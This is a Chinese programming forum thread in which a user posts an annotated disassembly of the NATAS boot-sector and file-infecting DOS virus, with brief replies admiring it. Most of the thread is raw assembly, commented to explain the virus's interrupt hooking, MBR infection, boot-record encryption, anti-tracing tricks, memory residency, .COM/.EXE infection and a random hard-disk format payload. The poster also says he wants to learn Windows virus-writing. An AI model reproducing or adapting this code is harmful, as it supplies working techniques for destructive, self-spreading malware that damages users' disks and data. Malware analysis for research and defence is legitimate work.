| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 2918 人关注过本帖, 2 人收藏
标题:NATAS幽灵病毒反汇编代码(1)
只看楼主 加入收藏
ba_wang_mao
Rank: 2
来 自:成都理工大学
等 级:论坛游民
帖 子:297
专家分:27
注 册:2006-11-7
收藏(2)
 问题点数:0 回复次数:6 
NATAS幽灵病毒反汇编代码(1)
9E80:0000 0E PUSH CS
9E80:0001 1F POP DS
9E80:0002 E89400 CALL 0099 ;保存 INT 13/15/21/40
9E80:0005 A27304 MOV [0473],AL ;AL = 0
9E80:0008 A21114 MOV [1411],AL
9E80:000B 8EC0 MOV ES,AX
9E80:000D 5F POP DI
9E80:000E 83EF03 SUB DI,+03
9E80:0011 50 PUSH AX
9E80:0012 57 PUSH DI ;设置执行原引导记录地址
9E80:0013 BE4700 MOV SI,0047 ;解密并恢复原引导区
9E80:0016 E81D00 CALL 0036
9E80:0019 B013 MOV AL,13
9E80:001B BA7204 MOV DX,0472 ;设置新 INT 13 => CS:0472
9E80:001E E8B300 CALL 00D4
9E80:0021 E8EF00 CALL 0113 ;传染硬盘引导区
9E80:0024 84168E00 TEST [008E],DL
9E80:0028 740B JZ 0035
9E80:002A B8FF01 MOV AX,01FF
9E80:002D E83611 CALL 1166 ;产生随机数 < 512
9E80:0030 7503 JNZ 0035 ;如果为 0 转格式化硬盘
9E80:0032 E91304 JMP 0448 ;即每次启动有 1/512 的机会
9E80:0035 CB RETF ;格式化硬盘
;===========================================================================
;加密/解密原引导记录
9E80:0036 8A64FF MOV AH,[SI-01]
9E80:0039 B92900 MOV CX,0029
9E80:003C FC CLD
9E80:003D AC LODSB
9E80:003E 32C4 XOR AL,AH
9E80:0040 D0C4 ROL AH,1
9E80:0042 AA STOSB
9E80:0043 E2F8 LOOP 003D
9E80:0045 C3 RET
9E80:0046 07 FD-3D DC B6 A0 5C C1 FF 11 .}=6 ..
9E80:0050 09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C [email=.].'@pV.4.X.kO[/email]^=:.
9E80:0060 0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A .`KTf^EBp.3~x=.J
;==========================================================================
; 新引导区入口程序
;==========================================================================
9E80:0070 E80000 CALL 0073 ;重定位
9E80:0073 BF4000 MOV DI,0040
9E80:0076 8EDF MOV DS,DI ;0040:0013
9E80:0078 836DD306 SUB Word Ptr [DI-2D],+06 ;内存减 6K
9E80:007C 8B45D3 MOV AX,[DI-2D]
9E80:007F B10A MOV CL,0A
9E80:0081 D3C8 ROR AX,CL
9E80:0083 8EC0 MOV ES,AX ;高端段地址
9E80:0085 B80902 MOV AX,0209 ;读出病毒 9 扇区
9E80:0088 33DB XOR BX,BX
9E80:008A B9014F MOV CX,4F01 ===> ;CX, DX 值由 0166 设置
9E80:008D BA0001 MOV DX,0100
9E80:0090 CD13 INT 13
9E80:0092 7203 JB 0097
9E80:0094 06 PUSH ES ;转 0000 执行
9E80:0095 53 PUSH BX
9E80:0096 CB RETF
9E80:0097 CD18 INT 18
;===========================================================================
;保存中断开始 5 字节
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E PUSH DS
9E80:009A 33C0 XOR AX,AX
9E80:009C 8ED8 MOV DS,AX
9E80:009E BE4C00 MOV SI,004C ;中断 13
9E80:00A1 BFEB13 MOV DI,13EB
9E80:00A4 56 PUSH SI
9E80:00A5 56 PUSH SI
9E80:00A6 A5 MOVSW
9E80:00A7 A5 MOVSW
9E80:00A8 5E POP SI
9E80:00A9 A5 MOVSW
9E80:00AA A5 MOVSW
9E80:00AB BE5400 MOV SI,0054 ;中断 15
9E80:00AE A5 MOVSW
9E80:00AF A5 MOVSW
9E80:00B0 5E POP SI
9E80:00B1 38067504 CMP [0475],AL
9E80:00B5 7403 JZ 00BA
9E80:00B7 BE0001 MOV SI,0100
9E80:00BA A5 MOVSW
9E80:00BB A5 MOVSW
9E80:00BC BE8400 MOV SI,0084 ;中断 21
9E80:00BF A5 MOVSW
9E80:00C0 A5 MOVSW
9E80:00C1 1F POP DS
9E80:00C2 C3 RET
;=========================================================================
;取中断向量于 ES:BX, 入口 AL = 中断向量号
9E80:00C3 50 PUSH AX
9E80:00C4 32E4 XOR AH,AH
9E80:00C6 D1C0 ROL AX,1
9E80:00C8 D1C0 ROL AX,1
9E80:00CA 93 XCHG AX,BX
9E80:00CB 33C0 XOR AX,AX
9E80:00CD 8EC0 MOV ES,AX
9E80:00CF 26C41F LES BX,ES:[BX]
9E80:00D2 58 POP AX
9E80:00D3 C3 RET
;=========================================================================
;设置中断向量到 DS:DX, 入口 AL = 中断向量号
9E80:00D4 50 PUSH AX
9E80:00D5 53 PUSH BX
9E80:00D6 1E PUSH DS
9E80:00D7 32E4 XOR AH,AH
9E80:00D9 D1C0 ROL AX,1
9E80:00DB D1C0 ROL AX,1
9E80:00DD 93 XCHG AX,BX
9E80:00DE 33C0 XOR AX,AX
9E80:00E0 1E PUSH DS
9E80:00E1 8ED8 MOV DS,AX
9E80:00E3 8917 MOV [BX],DX
9E80:00E5 8F4702 POP [BX+02]
9E80:00E8 1F POP DS
9E80:00E9 5B POP BX
9E80:00EA 58 POP AX
9E80:00EB C3 RET
;========================================================================
;所有寄存器进堆栈
9E80:00EC 2E8F060214 POP CS:[1402]
9E80:00F1 9C PUSHF
9E80:00F2 50 PUSH AX
9E80:00F3 53 PUSH BX
9E80:00F4 51 PUSH CX
9E80:00F5 52 PUSH DX
9E80:00F6 55 PUSH BP
9E80:00F7 56 PUSH SI
9E80:00F8 57 PUSH DI
9E80:00F9 1E PUSH DS
9E80:00FA 06 PUSH ES
9E80:00FB 8BEC MOV BP,SP
9E80:00FD 2EFF260214 JMP CS:[1402]
;=========================================================================
;所有寄存器出堆栈
9E80:0102 2E8F060214 POP CS:[1402]
9E80:0107 07 POP ES
9E80:0108 1F POP DS
9E80:0109 5F POP DI
9E80:010A 5E POP SI
9E80:010B 5D POP BP
9E80:010C 5A POP DX
9E80:010D 59 POP CX
9E80:010E 5B POP BX
9E80:010F 58 POP AX
9E80:0110 9D POPF
9E80:0111 EBEA JMP 00FD
;==========================================================================
;文件执行初始化及启动时传染硬盘子程序
;由 0021 043C 调用
9E80:0113 0E PUSH CS
9E80:0114 0E PUSH CS
9E80:0115 07 POP ES
9E80:0116 1F POP DS
9E80:0117 B80102 MOV AX,0201
9E80:011A BB1314 MOV BX,1413
9E80:011D B90100 MOV CX,0001
9E80:0120 BA8000 MOV DX,0080
9E80:0123 E89509 CALL 0ABB ;读硬盘主引导区
9E80:0126 7230 JB 0158
9E80:0128 38AFBF01 CMP [BX+01BF],CH ;无保留磁道不传染
9E80:012C 742A JZ 0158
9E80:012E 8B8FC401 MOV CX,[BX+01C4] ;取保留磁道扇区数
9E80:0132 83E13F AND CX,+3F ;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909 SUB CX,+09 ;到数 9 扇区
9E80:0138 761E JBE 0158 ;扇区数小于 9 不传染
9E80:013A 80F901 CMP CL,01
9E80:013D 7619 JBE 0158
9E80:013F E81700 CALL 0159 ;判断是否已传染
9E80:0142 7214 JB 0158 ;已传染退出
9E80:0144 53 PUSH BX
9E80:0145 B80903 MOV AX,0309 ;写病毒到保留扇区
9E80:0148 33DB XOR BX,BX
9E80:014A E86E09 CALL 0ABB
9E80:014D 5B POP BX
9E80:014E 7208 JB 0158
9E80:0150 B80103 MOV AX,0301 ;写新引导记录
9E80:0153 B101 MOV CL,01 ;CS:0000
9E80:0155 E86309 CALL 0ABB
9E80:0158 C3 RET
;==========================================================================
;判断引导记录是否已传染及准备新的引导记录
9E80:0159 51 PUSH CX
9E80:015A 52 PUSH DX
9E80:015B 81BFFE0155AA CMP Word Ptr [BX+01FE],AA55
9E80:0161 7525 JNZ 0188
9E80:0163 BF4700 MOV DI,0047
9E80:0166 894D44 MOV [DI+44],CX ;保存病毒传染位置
9E80:0169 80E280 AND DL,80
9E80:016C 895547 MOV [DI+47],DX
9E80:016F E81A00 CALL 018C ;判断是否传染 (返回 SI 地址)
9E80:0172 7414 JZ 0188 ;已传染转 0188 退出
9E80:0174 E8EC0F CALL 1163 ;产生随机数
9E80:0177 8865FF MOV [DI-01],AH ;保存于 0046
9E80:017A 56 PUSH SI
9E80:017B E8BBFE CALL 0039 ;加密原引导记录
9E80:017E 8BF7 MOV SI,DI ;SI = 0070, 病毒入口
9E80:0180 5F POP DI ;DI = 原引导记录 JMP 入口
9E80:0181 B92900 MOV CX,0029 ;移动病毒到原引导记录
9E80:0184 F3 REPZ
9E80:0185 A4 MOVSB
9E80:0186 F8 CLC
9E80:0187 B0F9 MOV AL,F9
9E80:0189 5A POP DX
9E80:018A 59 POP CX
9E80:018B C3 RET
搜索更多相关主题的帖子: NATAS 幽灵 汇编 MOV PUSH 
2007-11-29 10:51
ba_wang_mao
Rank: 2
来 自:成都理工大学
等 级:论坛游民
帖 子:297
专家分:27
注 册:2006-11-7
收藏
得分:0 
很久以前研究过,病毒制作者对生成器编写的相当好。

多年以来还在MSDOS、单片机下搞嵌入式编程,对WINDOWS编程一窍不通,很想了解WINDOWS下病毒编程技术。
2007-11-29 10:54
ba_wang_mao
Rank: 2
来 自:成都理工大学
等 级:论坛游民
帖 子:297
专家分:27
注 册:2006-11-7
收藏
得分:0 
续(2)
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判断 JMP 后指令是否为 0070 处指令 (是否传染)
9E80:018C 8BF3 MOV SI,BX
9E80:018E FC CLD
9E80:018F AC LODSB
9E80:0190 50 PUSH AX
9E80:0191 AD LODSW
9E80:0192 91 XCHG AX,CX ;AL/CX 为引导区前 3 字节
9E80:0193 58 POP AX
9E80:0194 3CEB CMP AL,EB ;JMP XXXX
9E80:0196 7505 JNZ 019D
9E80:0198 32ED XOR CH,CH
9E80:019A 4E DEC SI
9E80:019B EB08 JMP 01A5
9E80:019D 3CE9 CMP AL,E9 ;JMP XXXX
9E80:019F 7404 JZ 01A5
9E80:01A1 33C9 XOR CX,CX
9E80:01A3 8BF3 MOV SI,BX
9E80:01A5 03F1 ADD SI,CX ;SI 为引导记录开始指令
9E80:01A7 81FEE515 CMP SI,15E5 ;15E5 - 1413 = 01D2
9E80:01AB 73F4 JNB 01A1 ; > 01D2 退出
9E80:01AD 813CE800 CMP Word Ptr [SI],00E8
9E80:01B1 7505 JNZ 01B8 ;判前 2 句指令是否
9E80:01B3 817C0200BF CMP Word Ptr [SI+02],BF00 ;CALL next/MOV DI,xxxx
9E80:01B8 C3 RET ;(见 0070)
;=========================================================================
;判断是否有跟踪
;如果有,返回 BP <> 0
9E80:01B9 33C0 XOR AX,AX
9E80:01BB 9C PUSHF
9E80:01BC 5A POP DX ;取当前标志
9E80:01BD 80E6FE AND DH,FE
9E80:01C0 52 PUSH DX
9E80:01C1 52 PUSH DX
9E80:01C2 9D POPF
9E80:01C3 16 PUSH SS
9E80:01C4 17 POP SS
9E80:01C5 9C PUSHF
9E80:01C6 5A POP DX
9E80:01C7 F6C601 TEST DH,01
9E80:01CA 5A POP DX
9E80:01CB 7415 JZ 01E2 ;无跟踪转 01E2
9E80:01CD 06 PUSH ES
9E80:01CE 33ED XOR BP,BP
9E80:01D0 8CD1 MOV CX,SS
9E80:01D2 FA CLI
9E80:01D3 8ED5 MOV SS,BP
9E80:01D5 C47E04 LES DI,[BP+04] ;有跟踪取 INT 01 地址
9E80:01D8 8ED1 MOV SS,CX
9E80:01DA FB STI
9E80:01DB B0CF MOV AL,CF
9E80:01DD FC CLD
9E80:01DE AA STOSB ;将 INT 01 设置为 IRET
9E80:01DF 07 POP ES
9E80:01E0 52 PUSH DX
9E80:01E1 9D POPF
9E80:01E2 95 XCHG AX,BP ;无跟踪 AX = 0
9E80:01E3 C3 RET
;========================================================================
;保存或恢复 INT 13 中断前 5 字节
9E80:01E4 E805FF CALL 00EC
9E80:01E7 BED913 MOV SI,13D9
9E80:01EA 2EC47C16 LES DI,CS:[SI+16]
9E80:01EE EB0A JMP 01FA
;========================================================================
;保存或恢复 INT 21 中断前 5 字节
9E80:01F0 E8F9FE CALL 00EC
9E80:01F3 BEDE13 MOV SI,13DE
9E80:01F6 2EC47C1D LES DI,CS:[SI+1D]
9E80:01FA 0E PUSH CS
9E80:01FB 1F POP DS
9E80:01FC B90500 MOV CX,0005
9E80:01FF 382E1114 CMP [1411],CH ;[1411] 引导区引入时为 0
9E80:0203 740B JZ 0210
9E80:0205 FC CLD
9E80:0206 AC LODSB
9E80:0207 268605 XCHG AL,ES:[DI]
9E80:020A 8844FF MOV [SI-01],AL
9E80:020D 47 INC DI
9E80:020E E2F6 LOOP 0206
9E80:0210 E8EFFE CALL 0102
9E80:0213 C3 RET
;=========================================================================
;由初始化程序调用
9E80:0214 E882FE CALL 0099 ;保存 INT 13/15/21/40
9E80:0217 B452 MOV AH,52 ;中断前 5 字节
9E80:0219 CD21 INT 21
9E80:021B 268B47FE MOV AX,ES:[BX-02] ;AX = 第一块 MCB 地址
9E80:021F A3AD02 MOV [02AD],AX
9E80:0222 B001 MOV AL,01 ;取 INT 01 中断地址
9E80:0224 E89CFE CALL 00C3
9E80:0227 53 PUSH BX
9E80:0228 06 PUSH ES
9E80:0229 BA7702 MOV DX,0277 ;设置 INT 01 中断地址
9E80:022C E8A5FE CALL 00D4 ;到 CS:0277
9E80:022F 9C PUSHF
9E80:0230 5E POP SI
9E80:0231 BF9702 MOV DI,0297
9E80:0234 C60503 MOV Byte Ptr [DI],03
9E80:0237 B401 MOV AH,01
9E80:0239 E83400 CALL 0270 ;激活 INT 01
9E80:023C E87C08 CALL 0ABB ;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中
9E80:023F C60526 MOV Byte Ptr [DI],26
9E80:0242 B4C0 MOV AH,C0
9E80:0244 E82900 CALL 0270 ;激活 INT 01
9E80:0247 9C PUSHF ;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313 CALL FAR [13F3]
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中
9E80:024C C60513 MOV Byte Ptr [DI],13
9E80:024F B430 MOV AH,30
9E80:0251 E81C00 CALL 0270 ;激活 INT 01
9E80:0254 E86E08 CALL 0AC5 ;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中
9E80:0257 C6052B MOV Byte Ptr [DI],2B
9E80:025A B401 MOV AH,01
9E80:025C E81100 CALL 0270
9E80:025F E86908 CALL 0ACB
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中
9E80:0262 81E6FFFE AND SI,FEFF
9E80:0266 56 PUSH SI
9E80:0267 9D POPF ;停止 INT 01
9E80:0268 1F POP DS ;恢复原 INT 01 地址
9E80:0269 5A POP DX
9E80:026A B001 MOV AL,01
9E80:026C E865FE CALL 00D4
9E80:026F C3 RET
9E80:0270 81CE0001 OR SI,0100
9E80:0274 56 PUSH SI
9E80:0275 9D POPF
9E80:0276 C3 RET
;=========================================================================
; 病毒新 INT 01
; 这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
; 跳转的地址, 再设置并激活 INT 01
; 在 0099 中用来找出初始 INT 13/15/21/40 地址
; 在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E PUSH DS
9E80:0278 0E PUSH CS
9E80:0279 1F POP DS
9E80:027A 893E6F03 MOV [036F],DI ;DI = 13E3
9E80:027E BF6303 MOV DI,0363
9E80:0281 8905 MOV [DI],AX ;保存返回时的
9E80:0283 895D03 MOV [DI+03],BX ;AX 到 DX 值
9E80:0286 894D06 MOV [DI+06],CX
9E80:0289 895509 MOV [DI+09],DX
9E80:028C 8F45FB POP [DI-05] ;保存返回时的 DS
9E80:028F 5B POP BX ;调用 IP (INT 01)
9E80:0290 59 POP CX ;调用 CS
9E80:0291 5A POP DX ;调用 FLAG
9E80:0292 8CC8 MOV AX,CS
9E80:0294 3BC1 CMP AX,CX ;是否调用者在病毒内
9E80:0296 752B JNZ 02C3 ;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00 JMP 035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02 CMP CX,[02AD] ;02AD 为第一个 MCB 地址
9E80:029F 734D JNB 02EE ;不在 MSDOS 内返回
9E80:02A1 BFEF13 MOV DI,13EF
9E80:02A4 C606970230 MOV Byte Ptr [0297],30 ;下一次 0296
9E80:02A9 EB0C JMP 02B7 ;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B CMP CX,0BA3 ===> ;本句地址由 021F 设置
9E80:02AF 733D JNB 02EE ;为第一块 MCB 地址
9E80:02B1 BFFB13 MOV DI,13FB
9E80:02B4 80E6FE AND DH,FE ;保存找到的地址
9E80:02B7 891D MOV [DI],BX ;并停止 INT 01
9E80:02B9 894D02 MOV [DI+02],CX
9E80:02BC EB30 JMP 02EE
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313 MOV DI,13F3
9E80:02C1 EB08 JMP 02CB
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713 MOV DI,13F7
9E80:02C6 EB03 JMP 02CB
9E80:02C8 BFEB13 MOV DI,13EB ;从 02A9 转来
9E80:02CB 80FDC8 CMP CH,C8 ;段地址 < C800 退出
9E80:02CE 721E JB 02EE
9E80:02D0 80FDF4 CMP CH,F4 ;段地址 > F400 退出
9E80:02D3 72DF JB 02B4 ;段地址指向 BIOS 转 02B4
9E80:02D5 EB17 JMP 02EE ;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214 DEC Byte Ptr [1412]
9E80:02DB 7511 JNZ 02EE
9E80:02DD 52 PUSH DX ;到 INT 21 第一句
9E80:02DE B001 MOV AL,01 ;恢复 INT 01 中断
9E80:02E0 C516E313 LDS DX,[13E3]
9E80:02E4 E8EDFD CALL 00D4 ;
9E80:02E7 E806FF CALL 01F0 ;截取 INT 21 中断
9E80:02EA 5A POP DX
9E80:02EB 80E6FE AND DH,FE
9E80:02EE F6C601 TEST DH,01 ;标志复位转 035A 退出
9E80:02F1 7467 JZ 035A
9E80:02F3 8ED9 MOV DS,CX
9E80:02F5 33FF XOR DI,DI
9E80:02F7 8B01 MOV AX,[BX+DI]
9E80:02F9 3CF0 CMP AL,F0
9E80:02FB 7412 JZ 030F
9E80:02FD 3CF2 CMP AL,F2
9E80:02FF 740E JZ 030F
9E80:0301 3CF3 CMP AL,F3
9E80:0303 740A JZ 030F
9E80:0305 3C9C CMP AL,9C
9E80:0307 7309 JNB 0312
9E80:0309 24E7 AND AL,E7
9E80:030B 3C26 CMP AL,26
9E80:030D 754B JNZ 035A
9E80:030F 47 INC DI
9E80:0310 EBE5 JMP 02F7
9E80:0312 750C JNZ 0320
9E80:0314 80E6FE AND DH,FE
9E80:0317 52 PUSH DX
9E80:0318 8D5901 LEA BX,[BX+DI+01]
9E80:031B 80CE01 OR DH,01
9E80:031E EBD3 JMP 02F3
9E80:0320 3C9D CMP AL,9D
9E80:0322 7503 JNZ 0327
9E80:0324 5A POP DX
9E80:0325 EBF1 JMP 0318
9E80:0327 3CCF CMP AL,CF
9E80:0329 7505 JNZ 0330
9E80:032B 5B POP BX
9E80:032C 59 POP CX
9E80:032D 5A POP DX
9E80:032E EBEB JMP 031B
9E80:0330 3CCD CMP AL,CD
9E80:0332 7412 JZ 0346
9E80:0334 3CCC CMP AL,CC
9E80:0336 B403 MOV AH,03
9E80:0338 740B JZ 0345
9E80:033A 3CCE CMP AL,CE
9E80:033C B404 MOV AH,04
9E80:033E 751A JNZ 035A
9E80:0340 F6C608 TEST DH,08
9E80:0343 7415 JZ 035A
9E80:0345 4B DEC BX
9E80:0346 80E6FE AND DH,FE
9E80:0349 8D5902 LEA BX,[BX+DI+02]
9E80:034C 52 PUSH DX
9E80:034D 51 PUSH CX
9E80:034E 53 PUSH BX
9E80:034F 8AC4 MOV AL,AH
9E80:0351 06 PUSH ES
9E80:0352 E86EFD CALL 00C3
9E80:0355 8CC1 MOV CX,ES
9E80:0357 07 POP ES
9E80:0358 EBC1 JMP 031B
9E80:035A 52 PUSH DX
9E80:035B 51 PUSH CX
9E80:035C 53 PUSH BX
9E80:035D B85E9E MOV AX,9E5E
9E80:0360 8ED8 MOV DS,AX
9E80:0362 B80601 MOV AX,0106
9E80:0365 BB00FF MOV BX,FF00
9E80:0368 B90000 MOV CX,0000
9E80:036B BA7702 MOV DX,0277
9E80:036E BF9702 MOV DI,0297
9E80:0371 CF IRET
;=========================================================================
; 可执行文件入口
;=========================================================================
9E80:0372 1E PUSH DS
9E80:0373 E80000 CALL 0376 ;重定位
9E80:0376 5E POP SI
9E80:0377 81EE7603 SUB SI,0376
9E80:037B E83BFE CALL 01B9 ;检测是否有跟踪
9E80:037E 0BED OR BP,BP ;有跟踪转 038D
9E80:0380 750B JNZ 038D
9E80:0382 B430 MOV AH,30
9E80:0384 BB9AF9 MOV BX,F99A
9E80:0387 CD21 INT 21
9E80:0389 3C03 CMP AL,03 ;内存驻留检测
9E80:038B 7230 JB 03BD ;已驻留转 03BD
9E80:038D 8CC0 MOV AX,ES
9E80:038F 48 DEC AX
9E80:0390 8ED8 MOV DS,AX
9E80:0392 33FF XOR DI,DI
9E80:0394 0BED OR BP,BP ;有跟踪转 039D
9E80:0396 7505 JNZ 039D
9E80:0398 803D5A CMP Byte Ptr [DI],5A ;非最后一块 MCB
9E80:039B 7520 JNZ 03BD ;转执行原程序
9E80:039D B86201 MOV AX,0162
9E80:03A0 294503 SUB [DI+03],AX ;内存减 1620 (5664)字节
9E80:03A3 294512 SUB [DI+12],AX
9E80:03A6 8E4512 MOV ES,[DI+12]
9E80:03A9 8EDF MOV DS,DI ;BIOS 内存减 6K
9E80:03AB 832E130406 SUB Word Ptr [0413],+06
9E80:03B0 B9D913 MOV CX,13D9 ;将病毒 13D9 字节移动到高端
9E80:03B3 FC CLD
9E80:03B4 F3 REPZ
9E80:03B5 2EA4 MOVSB CS:
9E80:03B7 B8FA03 MOV AX,03FA ;转高端 03FA 继续执行
9E80:03BA 06 PUSH ES
9E80:03BB 50 PUSH AX
9E80:03BC CB RETF
;=========================================================================
9E80:03BD 0E PUSH CS ;执行原程序
9E80:03BE 1F POP DS
9E80:03BF 07 POP ES
9E80:03C0 8DB47012 LEA SI,[SI+1270] ;原文件头位置
9E80:03C4 8B04 MOV AX,[SI]
9E80:03C6 3D4D5A CMP AX,5A4D ;.EXE 文件转 03DF
9E80:03C9 7414 JZ 03DF
9E80:03CB 3D5A4D CMP AX,4D5A
9E80:03CE 740F JZ 03DF
9E80:03D0 B90C00 MOV CX,000C ;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001 MOV DI,0100 ;原文件头 ==> CS:0100
9E80:03D6 06 PUSH ES
9E80:03D7 57 PUSH DI
9E80:03D8 FC CLD
9E80:03D9 F3 REPZ
9E80:03DA A5 MOVSW
9E80:03DB 06 PUSH ES
9E80:03DC 1F POP DS
9E80:03DD 91 XCHG AX,CX ;执行原 .COM 文件
9E80:03DE CB RETF
9E80:03DF 8CC0 MOV AX,ES ;.EXE 文件重定位
9E80:03E1 051000 ADD AX,0010
9E80:03E4 014416 ADD [SI+16],AX
9E80:03E7 03440E ADD AX,[SI+0E]
9E80:03EA 06 PUSH ES
9E80:03EB 1F POP DS
9E80:03EC FA CLI
9E80:03ED 8ED0 MOV SS,AX
9E80:03EF 2E8B6410 MOV SP,CS:[SI+10]
9E80:03F3 33C0 XOR AX,AX
9E80:03F5 FB STI
9E80:03F6 2EFF6C14 JMP FAR CS:[SI+14] ;执行原 .EXE 文件
///////////////////

多年以来还在MSDOS、单片机下搞嵌入式编程,对WINDOWS编程一窍不通,很想了解WINDOWS下病毒编程技术。
2007-11-29 11:54
小勇12
Rank: 1
等 级:新手上路
帖 子:36
专家分:1
注 册:2008-10-21
收藏
得分:0 
goog !
very good !
2008-12-15 22:25
songshilian
Rank: 2
等 级:新手上路
威 望:3
帖 子:40
专家分:0
注 册:2008-11-23
收藏
得分:0 
很久以前的技术,但是还是有很多的可取之处,是很优秀的代码,虽然是黑色的,呵呵。
2008-12-15 23:37
快速回复:NATAS幽灵病毒反汇编代码(1)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016811 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved